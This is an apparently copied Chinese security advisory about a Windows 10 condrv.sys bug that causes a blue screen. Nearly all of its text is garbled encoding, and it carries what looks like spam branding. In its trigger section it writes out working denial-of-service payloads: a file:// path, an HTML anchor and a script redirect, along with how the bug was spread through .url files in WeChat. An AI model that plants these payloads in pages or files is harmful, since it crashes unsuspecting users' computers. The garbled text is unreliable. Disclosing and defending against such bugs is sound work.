97¹ú¼Ê

¹¤³§ÑÐѧ Ø­ 97¹ú¼ÊÍøÂçÊý×Ö»¯ÖÇÄܹ¤³§¡°ºÚ¿Æ¼¼¡±´ó½ÒÃØ
Ô¤Ô¼Ö±²¥
ÀÖÏíÓªÒµ°ü¹Ü·þÎñ Ø­ ÊØ»¤Ò½ÁÆÓªÒµÒ»Á¬ÎȹÌ
Ô¤Ô¼Ö±²¥
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾
²úÆ·
< ·µ»ØÖ÷²Ëµ¥
²úÆ·ÖÐÐÄ
²úÆ·
½â¾ö¼Æ»®
< ·µ»ØÖ÷²Ëµ¥
½â¾ö¼Æ»®ÖÐÐÄ
ÐÐÒµ
ºÏ×÷»ï°é
·µ»ØÖ÷²Ëµ¥
Ñ¡ÔñÇøÓò/ÓïÑÔ
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾

Çå¾²Ó¦¼±|СÐÄÒ»¸öÁ´½ÓÈÃÄãµÄϵͳÀ¶ÆÁ£¡

97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾ Ðû²¼Ê±¼ä£º2021-01-25
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾

¿ËÈÕ £¬97¹ú¼ÊÍøÂçCERTÇå¾²Ó¦¼±ÏìÓ¦ÍŶÓ×·×Ùµ½Ò»ÔòWindows 10 condrv.sys±£´æÄÚ´æËð»µÎó²îµÄÐÅÏ¢ £¬¸ÃÎó²îÖ±½Óµ¼ÖÂWin10ϵͳÀ¶ÆÁ¡£¸ÃÎó²îÊÇÓÉÓÚWindows 10ÖÐcondrvÇý¶¯ÉèÖùýʧµ¼ÖµÄ¡£ µ±Chrome »òEdgeä¯ÀÀÆ÷ÔÚ·­¿ªÌض¨Á´½Óʱ £¬Ç¡Ç¡Å²ÓÃÁ˸ÃÇý¶¯µÄÏìÓ¦º¯Êý £¬¶øIEûÓÐŲÓà £¬Òò´ËIE²»»áÊÜÓ°Ïì¡£ÁíÍâ £¬¹¥»÷ÕßÄܹ»Ö±½Ó½á¹¹¶ñÒâ´úÂëÖ±½ÓŲÓñ£´æÎó²îµÄº¯Êý £¬ÈôÊÇÓû§µã»÷¾Í»á´¥·¢Îó²î¡¢µ¼ÖÂÀ¶ÆÁ¡£

 

ʹÓÃÐÎʽ

 
 

»á¼ûÁ´½Ó\\.\globalroot\device\condrv\kernelconnect»á´¥·¢À¶ÆÁ¡£

 

´¥·¢ÒªÁì

 
  • ÓÃä¯ÀÀÆ÷»á¼û£º

file://\\.\globalroot\device\condrv\kernelconnect

  • ÓÃÒ»¸ö¿ì½Ý·½·¨Ö¸Ïò£º

\\.\globalroot\device\condrv\kernelconnect

  • ÍøÒ³¹¥»÷£º

 

ÀýÈça±êÇ©

<a href="file://\\.\globalroot\device\condrv\kernelconnect"></a>

<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>

 

ÒÔ¼°JavaScript¾ç±¾¡£

 

  •  Î¢ÐÅȺ¶ñÒâÓû§Èö²¥ÃûΪtest.urlÎļþ,ÔÚ΢ÐÅ¿ªÆô×Ô¶¯ÏÂÔØ¹¦Ð§ºóÎļþ±»ÎüÊÕµ¼ÖµçÄÔ¼´À¶ÆÁ

     

 

 

  1. »á¼û¸ÃÎļþ¼Ð¼´À¶ÆÁ(urlÎļþ»á×Ô¶¯ÇëÇóÎļþͼ±ê¶ø¼ÓÔØ\\.\gxxx

  2. µã»÷·­¿ª¼´À¶ÆÁ,ÎļþÄÚĬÈÏURLΪ\\.\gxxx

  3. µçÄÔ΢ÐÅ·­¿ª¼´À¶ÆÁ,µçÄÔ΢ÐÅĬÈÏʹÓÃÁË΢ÐÅÄ¿½ñĿ¼ÏÂwechatweb.exeÎļþ¶ÔWebÄÚÈݾÙÐмÓÔØ,¶ø¸Ãexe½¹µãÔòÊÇÓÉQQä¯ÀÀÆ÷ÑÝ±ä¶øÀ´,¶øQQä¯ÀÀÆ÷ÄÚºËÓÖÊǽÓÄɵÄchromeÄÚºË,ÒÔÊÇ΢ÐŶ˷­¿ª¼´À¶ÆÁ

 

Ó°Ïì¹æÄ£

 
 

ÏÖÔÚÊÜÓ°ÏìµÄ²Ù×÷ϵͳ°æ±¾£ºWindows 10.1709¼°ÒÔÉÏϵͳ

 

 

´¦Öóͷ£¼Æ»®

 
 

¹Ù·½ÐÞ¸´½¨Òé

 

¸ÃÎó²îÄ¿½ñÔÝÎÞ¹Ù·½½â¾ö¼Æ»®¡£

 

²úÆ·Ä¿½ñ¹Ù·½ÔÝδÐû²¼ÊÜÓ°Ïì°æ±¾µÄ¶ÔÓ¦²¹¶¡ £¬½¨ÒéÊÜÓ°ÏìµÄÓû§ÊµÊ±¹Ø×¢¸üйٷ½µÄÇå¾²²¹¶¡£¨ÊµÊ±¸üÐÂÉý¼¶µ½×îа汾£©¡£Á´½ÓÈçÏ£º

https://www.microsoft.com/zh-cn/software-download/windows10

 

97¹ú¼ÊÍøÂçÐÞ¸´½¨Òé

 

²úÆ·

˵Ã÷

RG-WALLϵÁÐÏÂÒ»´ú·À»ðǽ

ÏÂÒ»´ú·À»ðǽÍŽá·À²¡¶¾ÒÔ¼°ÍþвÇ鱨¼ì²â¡£ÔÚÇå¾²ÄÜÁ¦ÉÏ £¬²»µ«Ö§³ÖNAT¡¢ACL¡¢DDoS·ÀÓùµÈ¹Å°åÇå¾²¹¦Ð§ £¬Ò²Ö§³Ö¸»ºñµÄÓ¦Óü¶Çå¾²¹¦Ð§ £¬°üÀ¨²¡¶¾²éɱ¡¢ÈëÇÖ¼ì²â¡¢APP¼ì²â¡¢Îļþ¹ýÂË¡¢¶ñÒâURL¹ýÂ˵È¡£Ìṩ¶àά¶ÈµÄÓ¦Óòã¼à¿ØÓëÆÊÎö £¬×ÊÖúÓû§ÕÆÎÕΣº¦ £¬¾«×¼Ô¤¾¯¡£

RG-IDPϵÁÐÈëÇÖ¼ì²â·ÀÓùϵͳ

ÊÇ97¹ú¼ÊÍøÂçÍÆ³öµÄ½«Éî¶ÈÄÚÈݼì²â¡¢Çå¾²·À»¤¡¢ÉÏÍøÐÐΪ¹ÜÀíµÈÊÖÒÕÍŽáµÄÈëÇÖ¼ì²â·ÀÓùϵͳװ±¸¡£Í¨¹ý¶ÔÍøÂçÖÐÉî²ã¹¥»÷ÐÐΪ¾ÙÐÐ׼ȷµÄÆÊÎöÅжÏ £¬×Ô¶¯ÓÐÓõı£»¤ÍøÂçÇå¾²¡£ÅäºÏʵʱ¸üеÄÈëÇÖ¹¥»÷ÌØÕ÷¿â £¬¿É¼ì²â·À»¤3500ÖÖÒÔÉϵÄÍøÂç¹¥»÷ÐÐΪ £¬°üÀ¨DoS/DDoS¡¢²¡¶¾¡¢È䳿¡¢½©Ê¬ÍøÂ硢ľÂí¡¢¿ÉÒÉ´úÂ롢̽²âÓëɨÃèµÈÖÖÖÖÍøÂçÍþв¡£

 

Çå¾²½¨Òé

 

  • ²»Òª·­¿ªÉúÊèÍøÒ³ £¬ÈôÊDz»ÐëÒª½¨ÒéեȡJavaScript¡£

  • ²»Òª·­¿ªÉúÊè³ÌÐò £¬ÖÕ¶Ë×°Ö÷À»¤Èí¼þ¡£

  • ²»ÒªËæÒâÏÂÔØ×°ÖÃȪԴ²»Ã÷µÄÈí¼þ £¬±ÜÃâÓÐÈ˶ñÒâʹÓôËÎó²îÔì³É¾Ü¾ø·þÎñ¹¥»÷¡£

  • ¶Ô²»Ã÷ȪԴµÄÓʼþ¡¢officeµÈÌá¸ßСÐÄ¡£

  • СÐIJ»Ã÷ȪԴѹËõÎļþ £¬ÎªÁËÈÃÊܺ¦ÕßÏÂÔØWindows¿ì½Ý·½·¨(.url)Îļþ¡£¹¥»÷Õß»áͨ¹ýÓÕÆ­Óû§ÏÂÔØZIP¹éµµÎļþ £¬²¢½«¶ñÒâ×Ö·û´®Òþ²ØÆäÖУ»µ±Óû§½âѹZIPÎļþʱ±ã»á´¥·¢¹¥»÷¡£

  • ʵʱ±¸·ÝÖ÷ÒªÎļþ £¬ÒÔÃâÎļþɥʧ¡£

 

ÍŶÓÏÈÈÝ

 

97¹ú¼ÊÍøÂçCERTÇå¾²Ó¦¼±ÏìÓ¦ÍŶÓ £¬¸ú×Ù×îл¥ÁªÍøÍþвÊÂÎñ £¬Õë¶Ô×îÐÂÇå¾²Îó²î £¬APT¹¥»÷ÒÔ¼°½©Ê¬ÍøÂç¼Ò×å×öʵʱ¸ú×ÙºÍÆÊÎö;Ϊ²úÆ·¡¢¿Í»§Ìṩʵʱ¡¢ÓÐÓõÄÇå¾²·À»¤Õ½ÂÔÓë½â¾ö¼Æ»®¡£

 

97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾

 

97¹ú¼Ê“ÍøÂç+Çå¾²”Ö÷ÕŽ«ÍøÂç×°±¸µÄÇå¾²ÄÜÁ¦³ä·ÖÑéÕ¹ £¬ÍøÂç×°±¸¡¢Çå¾²×°±¸ÓëÇ徲ƽ̨ÖÇÄÜÁª¶¯ £¬Àë±ðÇå¾²¹Âµº £¬×é³ÉÕûÍøÁª¶¯µÄÇå¾²°ü¹Üϵͳ £¬ÊµÏÖ·À»¤¡¢Çå¾²Õ¹Íû¡¢ÆÊÎöºÍÏìÓ¦µÈÇå¾²ÎÊÌâ×Ô¶¯»¯È«Á÷³Ì±Õ»·¡£

 

97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾

 

ÈçÄúÐèÒª97¹ú¼ÊÇå¾² £¬ÇëÁôÏÂÄúµÄÁªÏµ·½·¨

¹Ø×¢97¹ú¼Ê
¹Ø×¢97¹ú¼Ê¹ÙÍøÎ¢ÐÅ
ËæÊ±Ïàʶ¹«Ë¾×îж¯Ì¬
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾

·µ»Ø¶¥²¿

ÊÕÆð
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾
ÎĵµÆÀ¼Û
¸Ã×ÊÁÏÊÇ·ñ½â¾öÁËÄúµÄÎÊÌ⣿
Äú¶ÔÄ¿½ñÒ³ÃæµÄÖª×ã¶ÈÔõÑù£¿
²»Õ¦µÎ
ºÜÊǺÃ
ÄúÖª×ãµÄÔµ¹ÊÔ­ÓÉÊÇ£¨¶àÑ¡£©£¿
Äú²»Öª×ãµÄÔµ¹ÊÔ­ÓÉÊÇ£¨¶àÑ¡£©£¿
ÄúÊÇ·ñÉÐÓÐÆäËûÎÊÌâ»ò½¨Ò飿
ΪÁË¿ìËÙ½â¾ö²¢»Ø¸´ÄúµÄÎÊÌâ £¬Äú¿ÉÒÔÁôÏÂÁªÏµ·½·¨
ÓÊÏä
ÊÖ»úºÅ
ллÄúµÄ·´À¡£¡
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾
97¹ú¼Ê¡¤(ÖйúÇø)¼¯ÍŹٷ½ÍøÕ¾
ÇëÑ¡Ôñ·þÎñÏîÄ¿
¹Ø±Õ×Éѯҳ
ÊÛǰ×Éѯ ÊÛǰ×Éѯ
ÊÛǰ×Éѯ
ÊÛºó·þÎñ ÊÛºó·þÎñ
ÊÛºó·þÎñ
Òâ¼û·´Ïì Òâ¼û·´Ïì
Òâ¼û·´Ïì
¸ü¶àÁªÏµ·½·¨
ÍøÕ¾µØÍ¼